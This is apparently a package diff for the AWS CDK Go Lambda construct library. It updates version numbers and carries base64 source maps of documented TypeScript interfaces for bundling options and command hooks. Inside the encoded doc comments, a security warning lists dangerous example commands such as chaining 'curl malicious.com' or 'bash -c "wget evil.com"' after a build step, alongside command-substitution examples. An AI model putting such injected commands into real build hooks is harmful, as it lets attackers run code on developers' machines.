CAgLy8gLi4uXG4gKiB9XG4gKiBgYGBcbiAqL1xuZXhwb3J0IGludGVyZmFjZSBJQ29tbWFuZEhvb2tzIHtcbiAgLyoqXG4gICAqIFJldHVybnMgY29tbWFuZHMgdG8gcnVuIGJlZm9yZSBidW5kbGluZy5cbiAgICpcbiAgICogQ29tbWFuZHMgYXJlIGNoYWluZWQgd2l0aCBgJiZgLlxuICAgKi9cbiAgYmVmb3JlQnVuZGxpbmcoaW5wdXREaXI6IHN0cmluZywgb3V0cHV0RGlyOiBzdHJpbmcpOiBzdHJpbmdbXTtcblxuICAvKipcbiAgICogUmV0dXJucyBjb21tYW5kcyB0byBydW4gYWZ0ZXIgYnVuZGxpbmcuXG4gICAqXG4gICAqIENvbW1hbmRzIGFyZSBjaGFpbmVkIHdpdGggYCYmYC5cbiAgICovXG4gIGFmdGVyQnVuZGxpbmcoaW5wdXREaXI6IHN0cmluZywgb3V0cHV0RGlyOiBzdHJpbmcpOiBzdHJpbmdbXTtcbn1cbiJdfQ==
3
+ //# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoidHlwZXMuanMiLCJzb3VyY2VSb290IjoiIiwic291cmNlcyI6WyJ0eXBlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiIiwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0IHsgQXNzZXRIYXNoVHlwZSwgQnVuZGxpbmdGaWxlQWNjZXNzLCBEb2NrZXJJbWFnZSwgRG9ja2VyUnVuT3B0aW9ucyB9IGZyb20gJ2F3cy1jZGstbGliL2NvcmUnO1xuXG4vKipcbiAqIEJ1bmRsaW5nIG9wdGlvbnNcbiAqL1xuZXhwb3J0IGludGVyZmFjZSBCdW5kbGluZ09wdGlvbnMgZXh0ZW5kcyBEb2NrZXJSdW5PcHRpb25zIHtcbiAgLyoqXG4gICAqIEZvcmNlIGJ1bmRsaW5nIGluIGEgRG9ja2VyIGNvbnRhaW5lciBldmVuIGlmIGxvY2FsIGJ1bmRsaW5nIGlzXG4gICAqIHBvc3NpYmxlLlxuICAgKlxuICAgKiBAZGVmYXVsdCAtIGZhbHNlXG4gICAqL1xuICByZWFkb25seSBmb3JjZWREb2NrZXJCdW5kbGluZz86IGJvb2xlYW47XG5cbiAgLyoqXG4gICAqIEEgY3VzdG9tIGJ1bmRsaW5nIERvY2tlciBpbWFnZS5cbiAgICpcbiAgICogQGRlZmF1bHQgLSB1c2UgdGhlIERvY2tlciBpbWFnZSBwcm92aWRlZCBieSBAYXdzLWNkay9hd3MtbGFtYmRhLWdvLWFscGhhXG4gICAqL1xuICByZWFkb25seSBkb2NrZXJJbWFnZT86IERvY2tlckltYWdlO1xuXG4gIC8qKlxuICAgKiBMaXN0IG9mIGFkZGl0aW9uYWwgZmxhZ3MgdG8gdXNlIHdoaWxlIGJ1aWxkaW5nLlxuICAgKlxuICAgKiBGb3IgZXhhbXBsZTpcbiAgICogWydsZGZsYWdzIFwiLXMgLXdcIiddXG4gICAqXG4gICAqIOKaoO+4jyAqKlNlY3VyaXR5IFdhcm5pbmcqKjogVGhlc2UgZmxhZ3MgYXJlIHBhc3NlZCBkaXJlY3RseSB0byB0aGUgR28gYnVpbGQgY29tbWFuZC5cbiAgICogT25seSB1c2UgdHJ1c3RlZCB2YWx1ZXMgYXMgdGhleSBjYW4gZXhlY3V0ZSBhcmJpdHJhcnkgY29tbWFuZHMgZHVyaW5nIGJ1bmRsaW5nLlxuICAgKiBBdm9pZCBmbGFncyBsaWtlIGAtdG9vbGV4ZWNgIHdpdGggdW50cnVzdGVkIGFyZ3VtZW50cywgYW5kIGJlIGNhdXRpb3VzIHdpdGhcbiAgICogdGhpcmQtcGFydHkgQ0RLIGNvbnN0cnVjdHMgdGhhdCBtYXkgY29udGFpbiBtYWxpY2lvdXMgYnVpbGQgZmxhZ3MuXG4gICAqXG4gICAqIEBkZWZhdWx0IC0gbm9uZVxuICAgKi9cbiAgcmVhZG9ubHkgZ29CdWlsZEZsYWdzPzogc3RyaW5nW107XG5cbiAgLyoqXG4gICAqIEJ1aWxkIGFyZ3VtZW50cyB0byBwYXNzIHdoZW4gYnVpbGRpbmcgdGhlIGJ1bmRsaW5nIGltYWdlLlxuICAgKlxuICAgKiBAZGVmYXVsdCAtIG5vIGJ1aWxkIGFyZ3VtZW50cyBhcmUgcGFzc2VkXG4gICAqL1xuICByZWFkb25seSBidWlsZEFyZ3M/OiB7IFtrZXk6c3RyaW5nXSA6IHN0cmluZyB9O1xuXG4gIC8qKlxuICAgKiBEZXRlcm1pbmVzIGhvdyB0aGUgYXNzZXQgaGFzaCBpcyBjYWxjdWxhdGVkLiBBc3NldHMgd2lsbFxuICAgKiBnZXQgcmVidWlsdCBhbmQgdXBsb2FkZWQgb25seSBpZiB0aGVpciBoYXNoIGhhcyBjaGFuZ2VkLlxuICAgKlxuICAgKiBJZiB0aGUgYXNzZXQgaGFzaCBpcyBzZXQgdG8gYE9VVFBVVGAgKGRlZmF1bHQpLCB0aGUgaGFzaCBpcyBjYWxjdWxhdGVkXG4gICAqIGFmdGVyIGJ1bmRsaW5nLiBUaGlzIG1lYW5zIHRoYXQgYW55IGNoYW5nZSBpbiB0aGUgb3V0cHV0IHdpbGwgY2F1c2VcbiAgICogdGhlIGFzc2V0IHRvIGJlIGludmFsaWRhdGVkIGFuZCB1cGxvYWRlZC4gQmVhciBpbiBtaW5kIHRoYXQgdGhlXG4gICAqIGdvIGJpbmFyeSB0aGF0IGlzIG91dHB1dCBjYW4gYmUgZGlmZmVyZW50IGRlcGVuZGluZyBvbiB0aGUgZW52aXJvbm1lbnRcbiAgICogdGhhdCBpdCB3YXMgY29tcGlsZWQgaW4uIElmIHlvdSB3YW50IHRvIGNvbnRyb2wgd2hlbiB0aGUgb3V0cHV0IGlzIGNoYW5nZWRcbiAgICogaXQgaXMgcmVjb21tZW5kZWQgdGhhdCB5b3UgdXNlIGltbXV0YWJsZSBidWlsZCBpbWFnZXMgc3VjaCBhc1xuICAgKiBgcHVibGljLmVjci5hd3MvYml0bmFtaS9nb2xhbmc6MS4xNi4zLWRlYmlhbi0xMC1yMTZgLlxuICAgKlxuICAgKiBJZiB0aGUgYXNzZXQgaGFzaCBpcyBzZXQgdG8gYFNPVVJDRWAsIHRoZW4gb25seSBjaGFuZ2VzIHRvIHRoZSBzb3VyY2VcbiAgICogZGlyZWN0b3J5IHdpbGwgY2F1c2UgdGhlIGFzc2V0IHRvIHJlYnVpbGQuIElmIHlvdXIgZ28gcHJvamVjdCBoYXMgbXVsdGlwbGVcbiAgICogTGFtYmRhIGZ1bmN0aW9ucyB0aGlzIG1lYW5zIHRoYXQgYW4gdXBkYXRlIHRvIGFueSBvbmUgZnVuY3Rpb24gY291bGQgY2F1c2VcbiAgICogYWxsIHRoZSBmdW5jdGlvbnMgdG8gYmUgcmVidWlsdCBhbmQgdXBsb2FkZWQuXG4gICAqXG4gICAqIEBkZWZhdWx0IC0gQXNzZXRIYXNoVHlwZS5PVVRQVVQuIElmIGBhc3NldEhhc2hgIGlzIGFsc28gc3BlY2lmaWVkLFxuICAgKiB0aGUgZGVmYXVsdCBpcyBgQ1VTVE9NYC5cbiAgICovXG4gIHJlYWRvbmx5IGFzc2V0SGFzaFR5cGU/OiBBc3NldEhhc2hUeXBlO1xuXG4gIC8qKlxuICAgKiBTcGVjaWZ5IGEgY3VzdG9tIGhhc2ggZm9yIHRoaXMgYXNzZXQuIElmIGBhc3NldEhhc2hUeXBlYCBpcyBzZXQgaXQgbXVzdFxuICAgKiBiZSBzZXQgdG8gYEFzc2V0SGFzaFR5cGUuQ1VTVE9NYC4gRm9yIGNvbnNpc3RlbmN5LCB0aGlzIGN1c3RvbSBoYXNoIHdpbGxcbiAgICogYmUgU0hBMjU2IGhhc2hlZCBhbmQgZW5jb2RlZCBhcyBoZXguIFRoZSByZXN1bHRpbmcgaGFzaCB3aWxsIGJlIHRoZSBhc3NldFxuICAgKiBoYXNoLlxuICAgKlxuICAgKiBOT1RFOiB0aGUgaGFzaCBpcyB1c2VkIGluIG9yZGVyIHRvIGlkZW50aWZ5IGEgc3BlY2lmaWMgcmV2aXNpb24gb2YgdGhlIGFzc2V0LCBhbmRcbiAgICogdXNlZCBmb3Igb3B0aW1pemluZyBhbmQgY2FjaGluZyBkZXBsb3ltZW50IGFjdGl2aXRpZXMgcmVsYXRlZCB0byB0aGlzIGFzc2V0IHN1Y2ggYXNcbiAgICogcGFja2FnaW5nLCB1cGxvYWRpbmcgdG8gQW1hem9uIFMzLCBldGMuIElmIHlvdSBjaG9zZSB0byBjdXN0b21pemUgdGhlIGhhc2gsIHlvdSB3aWxsXG4gICAqIG5lZWQgdG8gbWFrZSBzdXJlIGl0IGlzIHVwZGF0ZWQgZXZlcnkgdGltZSB0aGUgYXNzZXQgY2hhbmdlcywgb3Igb3RoZXJ3aXNlIGl0IGlzXG4gICAqIHBvc3NpYmxlIHRoYXQgc29tZSBkZXBsb3ltZW50cyB3aWxsIG5vdCBiZSBpbnZhbGlkYXRlZC5cbiAgICpcbiAgICogQGRlZmF1bHQgLSBiYXNlZCBvbiBgYXNzZXRIYXNoVHlwZWBcbiAgICovXG4gIHJlYWRvbmx5IGFzc2V0SGFzaD86IHN0cmluZztcblxuICAvKipcbiAgICogQ29tbWFuZCBob29rc1xuICAgKlxuICAgKiDimqDvuI8gKipTZWN1cml0eSBXYXJuaW5nKio6IENvbW1hbmRzIGFyZSBleGVjdXRlZCBkaXJlY3RseSBpbiB0aGUgc2hlbGwgZW52aXJvbm1lbnQuXG4gICAqIE9ubHkgdXNlIHRydXN0ZWQgY29tbWFuZHMgZnJvbSB2ZXJpZmllZCBzb3VyY2VzLiBBdm9pZCBzaGVsbCBtZXRhY2hhcmFjdGVyc1xuICAgKiB0aGF0IGNvdWxkIGVuYWJsZSBjb21tYW5kIGluamVjdGlvbiBhdHRhY2tzLlxuICAgKlxuICAgKiBAZGVmYXVsdCAtIGRvIG5vdCBydW4gYWRkaXRpb25hbCBjb21tYW5kc1xuICAgKi9cbiAgcmVhZG9ubHkgY29tbWFuZEhvb2tzPzogSUNvbW1hbmRIb29rcztcblxuICAvKipcbiAgICogV2hldGhlciBvciBub3QgdG8gZW5hYmxlIGNnbyBkdXJpbmcgZ28gYnVpbGRcbiAgICpcbiAgICogVGhpcyB3aWxsIHNldCB0aGUgQ0dPX0VOQUJMRUQgZW52aXJvbm1lbnQgdmFyaWFibGVcbiAgICpcbiAgICogQGRlZmF1bHQgLSBmYWxzZVxuICAgKi9cbiAgcmVhZG9ubHkgY2dvRW5hYmxlZD86IGJvb2xlYW47XG5cbiAgLyoqXG4gICAqIFdoYXQgR28gcHJveGllcyB0byB1c2UgdG8gZmV0Y2ggdGhlIHBhY2thZ2VzIGludm9sdmVkIGluIHRoZSBidWlsZFxuICAgKlxuICAgKiBQYXNzIGEgbGlzdCBvZiBwcm94eSBhZGRyZXNzZXMgaW4gb3JkZXIsIGFuZC9vciB0aGUgc3RyaW5nIGAnZGlyZWN0J2AgdG9cbiAgICogYXR0ZW1wdCBkaXJlY3QgYWNjZXNzLlxuICAgKlxuICAgKiBCeSBkZWZhdWx0IHRoaXMgY29uc3RydWN0IHVzZXMgbm8gcHJveGllcywgYnV0IGEgc3RhbmRhcmQgR28gaW5zdGFsbCB3b3VsZFxuICAgKiB1c2UgdGhlIEdvb2dsZSBwcm94eSBieSBkZWZhdWx0LiBUbyByZWNyZWF0ZSB0aGF0IGJlaGF2aW9yLCBkbyB0aGUgZm9sbG93aW5nOlxuICAgKlxuICAgKiBgYGB0c1xuICAgKiBuZXcgZ28uR29GdW5jdGlvbih0aGlzLCAnR29GdW5jdGlvbicsIHtcbiAgICogICBlbnRyeTogJ2FwcC9jbWQvYXBpJyxcbiAgICogICBidW5kbGluZzoge1xuICAgKiAgICAgZ29Qcm94aWVzOiBbZ28uR29GdW5jdGlvbi5HT09HTEVfR09QUk9YWSwgJ2RpcmVjdCddLFxuICAgKiAgIH0sXG4gICAqIH0pO1xuICAgKiBgYGBcbiAgICpcbiAgICogQGRlZmF1bHQgLSBEaXJlY3QgYWNjZXNzXG4gICAqL1xuICByZWFkb25seSBnb1Byb3hpZXM/OiBzdHJpbmdbXTtcblxuICAvKipcbiAgICogV2hpY2ggb3B0aW9uIHRvIHVzZSB0byBjb3B5IHRoZSBzb3VyY2UgZmlsZXMgdG8gdGhlIGRvY2tlciBjb250YWluZXIgYW5kIG91dHB1dCBmaWxlcyBiYWNrXG4gICAqIEBkZWZhdWx0IC0gQnVuZGxpbmdGaWxlQWNjZXNzLkJJTkRfTU9VTlRcbiAgICovXG4gIHJlYWRvbmx5IGJ1bmRsaW5nRmlsZUFjY2Vzcz86IEJ1bmRsaW5nRmlsZUFjY2Vzcztcbn1cblxuLyoqXG4gKiBDb21tYW5kIGhvb2tzXG4gKlxuICogVGhlc2UgY29tbWFuZHMgd2lsbCBydW4gaW4gdGhlIGVudmlyb25tZW50IGluIHdoaWNoIGJ1bmRsaW5nIG9jY3VyczogaW5zaWRlXG4gKiB0aGUgY29udGFpbmVyIGZvciBEb2NrZXIgYnVuZGxpbmcgb3Igb24gdGhlIGhvc3QgT1MgZm9yIGxvY2FsIGJ1bmRsaW5nLlxuICpcbiAqIOKaoO+4jyAqKlNlY3VyaXR5IFdhcm5pbmcqKjogQ29tbWFuZHMgYXJlIGV4ZWN1dGVkIGRpcmVjdGx5IGluIHRoZSBzaGVsbCBlbnZpcm9ubWVudC5cbiAqIE9ubHkgdXNlIHRydXN0ZWQgY29tbWFuZHMgYW5kIGF2b2lkIHNoZWxsIG1ldGFjaGFyYWN0ZXJzIHRoYXQgY291bGQgZW5hYmxlXG4gKiBjb21tYW5kIGluamVjdGlvbiBhdHRhY2tzLlxuICpcbiAqICoqU2FmZSBwYXR0ZXJucyAoY3Jvc3MtcGxhdGZvcm0pOioqXG4gKiAtIGBnbyB0ZXN0IC4vLi4uYCAtIFN0YW5kYXJkIEdvIGNvbW1hbmRzIHdvcmsgb24gYWxsIHBsYXRmb3Jtc1xuICogLSBgZ28gbW9kIHRpZHlgIC0gR28gbW9kdWxlIGNvbW1hbmRzXG4gKiAtIGBlY2hvIFwiQnVpbGRpbmdcImAgLSBTaW1wbGUgb3V0cHV0IHdpdGggcXVvdGVzXG4gKiAtIGBtYWtlIGNsZWFuYCAtIEJ1aWxkIHRvb2xzIChpZiBhdmFpbGFibGUpXG4gKlxuICogKipEYW5nZXJvdXMgcGF0dGVybnMgdG8gYXZvaWQ6KipcbiAqXG4gKiAqV2luZG93czoqXG4gKiAtIGBnbyB0ZXN0ICYgY3VybC5leGUgbWFsaWNpb3VzLmNvbWAgKGNvbW1hbmQgY2hhaW5pbmcpXG4gKiAtIGBlY2hvICVVU0VSUFJPRklMRSVgIChlbnZpcm9ubWVudCB2YXJpYWJsZSBleHBhbnNpb24pXG4gKiAtIGBwb3dlcnNoZWxsIC1Db21tYW5kIFwiLi4uXCJgIChQb3dlclNoZWxsIGV4ZWN1dGlvbilcbiAqXG4gKiAqVW5peC9MaW51eC9tYWNPUzoqXG4gKiAtIGBnbyB0ZXN0OyBjdXJsIG1hbGljaW91cy5jb21gIChjb21tYW5kIGNoYWluaW5nKVxuICogLSBgZWNobyAkKHdob2FtaSlgIChjb21tYW5kIHN1YnN0aXR1dGlvbilcbiAqIC0gYGJhc2ggLWMgXCJ3Z2V0IGV2aWwuY29tXCJgIChzaGVsbCBleGVjdXRpb24pXG4gKlxuICogQ29tbWFuZHMgYXJlIGNoYWluZWQgd2l0aCBgJiZgLlxuICpcbiAqIEBzZWUgaHR0cHM6Ly9kb2NzLmF3cy5hbWF6b24uY29tL2Nkay9sYXRlc3QvZ3VpZGUvc2VjdXJpdHkuaHRtbFxuICovXG5leHBvcnQgaW50ZXJmYWNlIElDb21tYW5kSG9va3Mge1xuICAvKipcbiAgICogUmV0dXJucyBjb21tYW5kcyB0byBydW4gYmVmb3JlIGJ1bmRsaW5nLlxuICAgKlxuICAgKiDimqDvuI8gKipTZWN1cml0eSBXYXJuaW5nKio6IEVuc3VyZSBjb21tYW5kcyBjb21lIGZyb20gdHJ1c3RlZCBzb3VyY2VzIG9ubHkuXG4gICAqIENvbW1hbmRzIGFyZSBleGVjdXRlZCBkaXJlY3RseSBpbiB0aGUgc2hlbGwgZW52aXJvbm1lbnQuXG4gICAqXG4gICAqIENvbW1hbmRzIGFyZSBjaGFpbmVkIHdpdGggYCYmYC5cbiAgICovXG4gIGJlZm9yZUJ1bmRsaW5nKGlucHV0RGlyOiBzdHJpbmcsIG91dHB1dERpcjogc3RyaW5nKTogc3RyaW5nW107XG5cbiAgLyoqXG4gICAqIFJldHVybnMgY29tbWFuZHMgdG8gcnVuIGFmdGVyIGJ1bmRsaW5nLlxuICAgKlxuICAgKiDimqDvuI8gKipTZWN1cml0eSBXYXJuaW5nKio6IEVuc3VyZSBjb21tYW5kcyBjb21lIGZyb20gdHJ1c3RlZCBzb3VyY2VzIG9ubHkuXG4gICAqIENvbW1hbmRzIGFyZSBleGVjdXRlZCBkaXJlY3RseSBpbiB0aGUgc2hlbGwgZW52aXJvbm1lbnQuXG4gICAqXG4gICAqIENvbW1hbmRzIGFyZSBjaGFpbmVkIHdpdGggYCYmYC5cbiAgICovXG4gIGFmdGVyQnVuZGxpbmcoaW5wdXREaXI6IHN0cmluZywgb3V0cHV0RGlyOiBzdHJpbmcpOiBzdHJpbmdbXTtcbn1cbiJdfQ==
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@aws-cdk/aws-lambda-go-alpha",
3
- "version": "2.222.0-alpha.0",
3
+ "version": "2.224.0-alpha.0",
4
4
  "description": "The CDK Construct Library for AWS Lambda in Golang",
5
5
  "main": "lib/index.js",
6
6
  "types": "lib/index.d.ts",
@@ -78,18 +78,18 @@
78
78
  },
79
79
  "license": "Apache-2.0",
80
80
  "devDependencies": {
81
- "@aws-cdk/cdk-build-tools": "2.222.0-alpha.0",
81
+ "@aws-cdk/cdk-build-tools": "2.224.0-alpha.0",
82
82
  "@aws-cdk/integ-runner": "^2.190.2",
83
- "@aws-cdk/integ-tests-alpha": "2.222.0-alpha.0",
84
- "@aws-cdk/pkglint": "2.222.0-alpha.0",
83
+ "@aws-cdk/integ-tests-alpha": "2.224.0-alpha.0",
84
+ "@aws-cdk/pkglint": "2.224.0-alpha.0",
85
85
  "@types/jest": "^29.5.14",
86
- "aws-cdk-lib": "2.222.0",
86
+ "aws-cdk-lib": "2.224.0",
87
87
  "constructs": "^10.0.0"
88
88
  },
89
89
  "dependencies": {},
90
90
  "homepage": "https://github.com/aws/aws-cdk",
91
91
  "peerDependencies": {
92
- "aws-cdk-lib": "^2.222.0",
92
+ "aws-cdk-lib": "^2.224.0",
93
93
  "constructs": "^10.0.0"
94
94
  },
95
95
  "engines": {